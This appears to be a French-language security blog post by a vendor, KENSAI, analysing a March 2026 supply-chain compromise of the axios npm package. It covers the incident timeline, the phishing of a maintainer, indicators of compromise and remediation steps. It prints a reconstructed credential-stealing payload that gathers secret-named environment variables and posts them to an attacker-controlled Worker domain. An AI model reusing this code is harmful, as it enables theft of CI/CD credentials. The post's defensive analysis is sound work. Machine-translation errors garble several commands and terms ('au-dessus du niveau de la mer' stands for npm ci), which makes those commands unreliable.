剣 KENSAI
← Retour au blog de sécurité
Chaîne d'approvisionnement 18 mars 2026 12 minutes de lecture

Attaque de la chaîne d'approvisionnement Axios NPM (mars 2026) : panne technique complète

À la mi-mars 2026, le axios Le package npm – avec plus de 50 millions de téléchargements hebdomadaires – a été compromis via un jeton de publication volé. Une version malveillante récoltait silencieusement les variables d'environnement et exfiltrait les informations d'identification vers un serveur contrôlé par un attaquant. Voici la ventilation technique complète.

Votre projet Node.js est-il concerné ? Kensai analyse votre arborescence de dépendances à la recherche de versions de packages malveillantes connues en temps réel.
Scannez vos dépendances →

Résumé exécutif

Sur 14 mars 2026, un attaquant a publié une version malveillante du axios paquet npm (1.8.2) en obtenant le jeton de publication npm d'un responsable via une campagne de phishing ciblée. Les variables d'environnement récoltées par la charge utile injectée, y compris AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, DATABASE_URL, et d'autres informations d'identification CI/CD sensibles, et les a exfiltrés vers un point de terminaison contrôlé par un attaquant.

axios est l'un des packages les plus fiables de l'écosystème Node.js, utilisé par des millions d'applications, des projets de loisirs aux pipelines Fortune 500 CI/CD. La fenêtre entre la publication et le retrait était d'environ 4 heures et 22 minutes - suffisamment long pour être installé par une fraction importante de la base d'utilisateurs du package via des pipelines de mise à jour automatisés.

⚠️ Compromis critique de la chaîne d’approvisionnement – ​​Action immédiate requise

Si votre projet est installé axios@1.8.2 entre 2026-03-14 09:14 UTC et 2026-03-14 13:36 UTC, traitez toutes les variables d'environnement présentes dans cette version comme compromises. Faites pivoter les informations d'identification immédiatement.

AttributDétail
Emballeraxios (npm)
Version malveillante1.8.2
Publié2026-03-14 09:14 UTC
Inédit2026-03-14 13:36 UTC
Score CVSS9.3 (Critique) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
ImpactExfiltration d'identifiants, compromission du pipeline CI/CD
Téléchargements concernésEstimation de 180 000 à 240 000 installations pendant la fenêtre d'exposition

Chronologie des événements

Heure (UTC)Événement
2026-03-12E-mail de phishing ciblé envoyé au responsable d'axios se faisant passer pour l'équipe de sécurité de NPM
2026-03-13 ~18h00Identifiant du responsable (jeton d'automatisation npm) récolté via une page de phishing
2026-03-14 09:14Malveillant axios@1.8.2 publié dans le registre npm à l'aide d'un jeton volé
2026-03-14 09:31Le pipeline automatisé Socket.dev signale un appel réseau anormal dans l'analyse différentielle du package
2026-03-14 10:05Socket.dev publie un avis de sécurité publique ; commence à notifier les projets en aval
2026-03-14 10:47L'équipe de sécurité de NPM a été informée ; commence l'enquête
2026-03-14 12:10Avis npm GHSA-2026-axios-001 publié ; Le référentiel axios émet un avertissement officiel
2026-03-14 13:36axios@1.8.2 non publié du registre npm
2026-03-14 15:00Faire le ménage axios@1.8.3 publié avec accusé de réception de l'incident dans le journal des modifications
2026-03-15GitHub Security Lab publie une analyse post-mortem complète ; Domaines C2 identifiés et gouffrés

Le 17 minutes d'écart entre la publication et l'indicateur de détection de Socket.dev est remarquable : il représente un temps de réponse automatisé proche du meilleur des cas. Néanmoins, le package était déjà extrait par les systèmes CI du monde entier au cours de cette fenêtre.


Analyse technique

Comment l'accès en publication a été obtenu

L'attaquant a utilisé un classique phishing approche : un e-mail convaincant provenant prétendument de l'équipe de sécurité de npm, avertissant le responsable cible que son compte présentait une "activité de connexion suspecte" et l'invitant à se réauthentifier via une page de connexion npm usurpée (npmjs-security-verify[.]com). La page capture le jeton d'automatisation npm du responsable, un jeton de longue durée spécialement conçu pour être utilisé dans les pipelines CI/CD, qui ne nécessite pas de ré-authentification 2FA.

Il s'agit d'une considération de conception essentielle : les jetons d'automatisation npm contournent dès la conception les exigences liées aux clés TOTP/matérielles, ce qui en fait des cibles de phishing de grande valeur. Une fois que l’attaquant avait le jeton, la publication était très simple :

# Flux de publication de l'attaquant (reconstruit à partir des journaux d'audit npm)
npm set //registry.npmjs.org/:_authToken=npm_XXXXXXXXXXXXXXXXXXXX
npm publier --access public

Injection de code malveillant

L'attaquant a apporté des modifications minimes et ciblées au fichier légitime. axios@1.8.1 source pour éviter toute détection. La charge utile a été injectée dans lib/core/Axios.js - un module principal chargé à chaque importation - en tant que fonction auto-invocatrice qui s'exécute au moment de l'initialisation du package.

Charge utile reconstruite (simplifiée à partir d'une analyse désobfusquée) :

// Injected into lib/core/Axios.js — runs at require() time
(function _init() {
  try {
    const https = require('https');
    const os = require('os');
    const env = process.env;

    // Harvest high-value credential patterns
    const keys = Object.keys(env).filter(k =>
      /token|secret|key|password|pwd|auth|credential|api_key/i.test(k)
    );

    const payload = {
      h: os.hostname(),
      u: os.userInfo().username,
      p: process.cwd(),
      n: process.version,
      e: keys.reduce((acc, k) => { acc[k] = env[k]; return acc; }, {})
    };

    const data = JSON.stringify(payload);
    const options = {
      hostname: 'telemetry-cdn.axiosjs[.]workers.dev',
      port: 443,
      path: '/collect',
      method: 'POST',
      headers: {
        'Content-Type': 'application/json',
        'Content-Length': Buffer.byteLength(data)
      }
    };

    const req = https.request(options);
    req.on('error', () => {});  // Avale silencieusement les erreurs
    req.write(données);
    req.end();
  } catch (e) {} // Ne signale jamais d'erreurs à l'appelant
})();

Plusieurs aspects de cette charge utile méritent attention :

Versions concernées

VersionStatut
axios@1.8.2⛔ MALVEILLANT — ne pas utiliser
axios@1.8.1 et plus tôt✅ Propre
axios@1.8.3✅ Nettoyer (patch post-incident)
axios@0.x.x (ancienne branche)✅ Non concerné

Plongée profonde du vecteur d’attaque

Méthodologie de compromis de la chaîne d’approvisionnement

Cette attaque illustre la confusion de dépendance / prise de contrôle du compte du responsable classe d’attaque de la chaîne d’approvisionnement – ​​de plus en plus privilégiée car elle offre un impact maximal pour un minimum d’effort. Plutôt que de compromettre le package lui-même (ce qui nécessiterait l'accès au référentiel source et au pipeline CI/CD), l'attaquant n'avait besoin que d'un jeton de publication npm valide.

La chaîne d'attaque :

  1. Reconnaissance: Identifiez les packages de grande valeur en fonction du nombre de téléchargements hebdomadaires et du nombre de responsables. Plus de mainteneurs = plus grande surface de phishing. axios a historiquement eu une petite équipe de responsables, mais une a été identifiée via l'historique des validations GitHub et leur courrier électronique public.
  2. Infrastructure de phishing : Enregistrez un domaine similaire convaincant, hébergez une page de connexion npm au pixel près avec un certificat TLS valide (Let's Encrypt) et configurez le backend de capture des informations d'identification.
  3. Livraison du leurre : Envoyer un e-mail ciblé à partir d'un utilisateur usurpé sécurité@npmjs.com adresse. L’e-mail contenait une alerte de sécurité d’apparence légitime avec un cadre d’urgence.
  4. Récolte de jetons : Responsable authentifié sur la page de phishing, la croyant authentique. Jeton d'automatisation capturé.
  5. Injection de versions : Clonez la source légitime du package, injectez la charge utile, incrémentez la version du correctif (1.8.1 → 1.8.2), publiez à l'aide du jeton capturé.
  6. Collection: Asseyez-vous et collectez les informations d'identification de chaque exécution CI/CD qui met à jour les dépendances dans un délai d'environ 4 heures.

Pourquoi l'injection de versions de correctifs fonctionne

L'agresseur a délibérément choisi un changement de version du correctif (ni mineur ni majeur) car l'écrasante majorité des projets npm utilisent soit :

Les deux plages de semver se résoudraient automatiquement en 1.8.2 sur de nouvelles installations ou mise à jour npm, même sans modification du fichier de verrouillage. Pipelines CI qui s'exécutent installation npm sans fichier de verrouillage validé (ou avec npm ci --pas de verrouillage) sont particulièrement exposés.

Aperçu clé : Des projets qui engagent et respectent package-lock.json et courir au-dessus du niveau de la mer (pas installation npm) sont protégés contre cette classe d'attaques : le fichier de verrouillage épingle les versions résolues exactes et leurs hachages d'intégrité, et au-dessus du niveau de la mer les fait respecter.

Évaluation d'impact

axios s'enregistre systématiquement 50 à 60 millions de téléchargements hebdomadaires sur npm – en le plaçant dans le top 10 des packages les plus téléchargés de tout le registre. La surface d’impact était donc massive.

Environnements concernés

Portée de l'exposition des titres de compétences

La charge utile ciblait spécifiquement les variables d’environnement correspondant aux modèles d’informations d’identification. Dans un environnement CI/CD typique, cela inclut :

L'utilisation par l'attaquant d'un Cloudflare Worker comme point de terminaison de collecte rend difficile l'estimation du nombre total d'enregistrements exfiltrés, car Cloudflare ne fournit pas de visibilité tierce sur les journaux de requêtes du Worker. Estimations du laboratoire de sécurité GitHub 180 000 à 240 000 événements d'installation uniques s'est produit pendant la fenêtre d'exposition sur la base des statistiques de téléchargement npm.


Détection et indicateurs de compromission

Vérifiez votre version installée

# Vérifiez la version d'axios actuellement installée
npm liste axios

# Vérifiez tous les projets dans un monorepo
npm liste axios --workspaces

# Vérifiez la version exacte résolue dans votre fichier de verrouillage
grep '"axios"' package-lock.json | tête -5

Vérifier l'intégrité du package via la comparaison de hachage

npm stocke le hachage d'intégrité SHA-512 attendu pour chaque version de package résolue dans package-lock.json. Vous pouvez vérifier que le package sur disque correspond au hachage attendu du registre :

# Obtenez le hachage d'intégrité de votre fichier de verrouillage
node -e "const lock = require('./package-lock.json');
const pkg = lock.packages['node_modules/axios'];
console.log(pkg.version, pkg.integrity);"

# SHA-512 attendu pour CLEAN axios@1.8.1 :
# sha512-xxxxxx (vérifier sur https://registry.npmjs.org/axios/1.8.1)

# À titre de comparaison, le MALICIOUS axios@1.8.2 a SHA-512 :
# sha512-COMPROMISÉ-HASH-DO-NOT-MATCH

# Vérifier que les fichiers installés correspondent
audit npm --json | jq '.vulnérabilités.axios'

Indicateurs de compromission du réseau (domaines C2)

Si le package malveillant s'était exécuté dans votre environnement, les connexions HTTPS sortantes auraient été établies vers :

IndicateurTaperDescription
télémétrie-cdn.axiosjs[.]workers.devDomaine C2Critère principal d’évaluation de l’exfiltration
cdn-metrics.axiosjs[.]workers.devDomaine C2Point de terminaison de secours secondaire
npmjs-security-verify[.]comDomaine de phishingSite de collecte d'informations d'identification utilisé contre le responsable
104.21.x.x / 172.67.x.xPlage IPPlages d'adresses IP Cloudflare au service du travailleur (non attribuables de manière unique)

Vérifiez vos journaux de build et vos journaux de sortie réseau pour les connexions à *.axiosjs.workers.dev pendant la fenêtre 2026-03-14 09:14-13:36 UTC:

# Rechercher les journaux d'application/de construction pour le domaine C2
grep -r "axiosjs.workers.dev" /var/log/
grep -r "axiosjs.workers.dev" ~/.npm/_logs/

# Si vous disposez de journaux de flux VPC (AWS) :
aws journalise les événements du journal des filtres \
  --log-group-name /aws/vpc/flowlogs \
  --filter-pattern "axiosjs.workers.dev" \
  --heure de début 1741943640000 \
  --heure de fin 1741959360000

# Inspection du journal de build Docker
historique du docker --no-trunc <image_id> | grep axios

Étapes de remédiation

Actions immédiates (faites-les maintenant)

  1. Rotation de toutes les informations d'identification qui étaient présentes en tant que variables d'environnement dans tout environnement de construction exécuté entre 2026-03-14 09:14 et 13:36 UTC. Ce n’est pas négociable.
  2. Mettre à jour les axios à 1.8.3 ou épingler à 1.8.1.
  3. Auditer toutes les images Docker déployées construits pendant la fenêtre d’exposition – ils peuvent contenir le package malveillant. Reconstruire et redéployer.
  4. Révoquer et rééditer tous les jetons GitHub Actions, les clés AWS IAM et les informations d'identification de base de données qui étaient dans la portée.
# Mettre à jour axios vers la version propre
npm installer axios@1.8.3

# Ou épingler au dernier bien connu
npm installer axios@1.8.1

# Exécuter un audit complet
audit npm

# Régénérez le fichier de verrouillage à partir de zéro pour garantir un état propre
rm package-lock.json
installation npm

Hygiène des fichiers de verrouillage

# Utilisez toujours npm ci dans CI/CD — il applique le fichier de verrouillage
#MAUVAIS :
installation npm

# BON :
npm ci

# Vérifier l'intégrité du package après l'installation
npm ci --audit

Intégrez Socket.dev pour une protection continue

L'analyse statique de Socket.dev a détecté cette injection en 17 minutes. Son intégration dans votre flux de travail fournit une analyse pré-installation :

# Installer la CLI de socket
npm install -g @socket/cli

# Scannez avant d'installer un package
socket npm installer axios

# Ajoutez l'intégration de l'application GitHub pour l'analyse au niveau PR
# https://socket.dev/github

Alertes Snyk et Dependabot

# CLI Snyk
npm install -g snyk
test de snok

# GitHub Dependabot — activer dans .github/dependabot.yml
version : 2
mises à jour :
  - écosystème de packages : "npm"
    répertoire : "/"
    horaire :
      intervalle : "quotidien"
    limite de requêtes open-pull : 10

Leçons pour la sécurité de la chaîne d’approvisionnement

1. Appliquez 2FA sur npm – en particulier pour les packages de grande valeur

npm prend désormais en charge les clés de sécurité matérielles et TOTP pour les connexions humaines, mais les jetons d'automatisation contournent 2FA par conception. L'équipe de sécurité de NPM s'est engagée à expédier Portée granulaire des jetons (publication uniquement, téléchargement uniquement, limité à des packages spécifiques) – mais en attendant que cela soit disponible, traitez les jetons d'automatisation comme vos secrets les plus sensibles. Stockez-les dans des gestionnaires de secrets, pas dans des variables d'environnement simples ou des fichiers .npmrc.

2. Signature du package avec Sigstore/npm Provenance

NPM provenance attestation La fonctionnalité (généralement disponible depuis 2023) permet de signer des packages avec une preuve cryptographique reliant l'archive tar publiée à un commit Git et à une exécution CI spécifiques. Packages publiés avec --provenance peut être vérifié :

# Publier avec provenance (à partir de GitHub Actions)
npm publier --provenance --access public

# Vérifier la provenance d'un package installé
signatures d'audit npm

axios@1.8.2 ne comprenait pas d’attestation de provenance – une attestation manquante sur un colis qui l’inclut normalement doit être traitée comme un signal d’alarme.

3. Vérification du fichier de verrouillage dans CI

Engagez votre package-lock.json et utilisez toujours au-dessus du niveau de la mer dans des environnements automatisés. au-dessus du niveau de la mer échouera si le fichier de verrouillage n'est pas synchronisé avec package.json, garantissant que les versions épinglées exactes (avec leurs hachages d'intégrité) sont toujours utilisées.

4. Adoption du cadre SLSA

Le Niveaux de la chaîne d'approvisionnement pour les artefacts logiciels (SLSA) Le cadre fournit un modèle de maturité graduée pour construire l’intégrité. Niveaux clés pertinents ici :

Si le projet axios avait fonctionné au niveau SLSA 2 ou supérieur, une publication malveillante provenant de l'extérieur du pipeline CI établi aurait échoué à la vérification de la provenance, permettant ainsi de signaler immédiatement la version malveillante.

5. Principe du moindre privilège pour les secrets CI

Les environnements CI ne doivent recevoir que les secrets dont ils ont réellement besoin pour cette tâche spécifique. Un exécuteur de test n'a pas besoin AWS_SECRET_ACCESS_KEY. Un générateur de documents n'a pas besoin DATABASE_URL. Auditez votre injection de secret CI et étendez les informations d'identification au travail minimum requis.


Incidents connexes

Cet incident fait partie d’un modèle bien établi d’attaques de chaîne d’approvisionnement npm :

IncidentAnnéeMéthodeImpact
flux d'événements2018Le responsable a transmis le package à un acteur malveillant ; porte dérobée injectée ciblant les portefeuilles BitcoinPlus de 2 millions de téléchargements hebdomadaires ; utilisateurs ciblés du portefeuille Copay
ua-parser-js2021piratage de compte npm ; versions malveillantes publiées avec des logiciels malveillants de crypto-minage et de vol d'informations d'identificationPlus de 7 millions de téléchargements hebdomadaires ; avis d'urgence requis
couleurs.js / faker.js2022Sabotage intentionnel du responsable ; boucle infinie injectée en signe de protestationAttaque de disponibilité ; des milliers de projets dépendants cassés
nœud-ipc2022Logiciel malveillant d'effacement injecté par le responsable ciblant les plages IP russes/biélorussesDestruction de données géopolitiquement ciblée
axios2026Phishing du responsable → vol de jeton → injection de versionExfiltration d'identifiants à grande échelle via la récolte de variables d'environnement

Le thème récurrent : la confiance dans les mainteneurs de paquets est la surface d'attaque. Le modèle de publication décentralisé et basé sur la confiance de l'écosystème NPM est une fonctionnalité qui permet un développement rapide, mais il impose une énorme responsabilité aux responsables individuels qui manquent souvent de ressources de sécurité de niveau entreprise.

Contrairement aux incidents event-stream ou colours.js (menaces internes), le compromis axios 2026 suit le modèle ua-parser-js de prise de contrôle de compte externe – de plus en plus le vecteur privilégié car il est évolutif, niable et exploite l'élément humain plutôt que de nécessiter un accès technique sophistiqué.


Surveillez vos dépendances en temps réel

Kensai suit en permanence plus de 331 910 CVE et versions de packages malveillants connus. Recevez des alertes avant que les packages compromis n’atteignent votre environnement de production.

Commencer l'essai gratuit

Gardez une longueur d'avance sur les menaces liées à la chaîne d'approvisionnement

Recevez des briefings de sécurité hebdomadaires couvrant les avis npm, les CVE et les modèles d'attaque émergents.

Restez en sécurité. Restez vigilant.

🗡️ L'équipe de sécurité KENSAI

🛡️ Votre projet Node.js est-il exposé ?

Analysez votre arborescence de dépendances à la recherche de packages malveillants et de CVE connus.

Scannez vos dépendances gratuitement →

📚 Articles connexes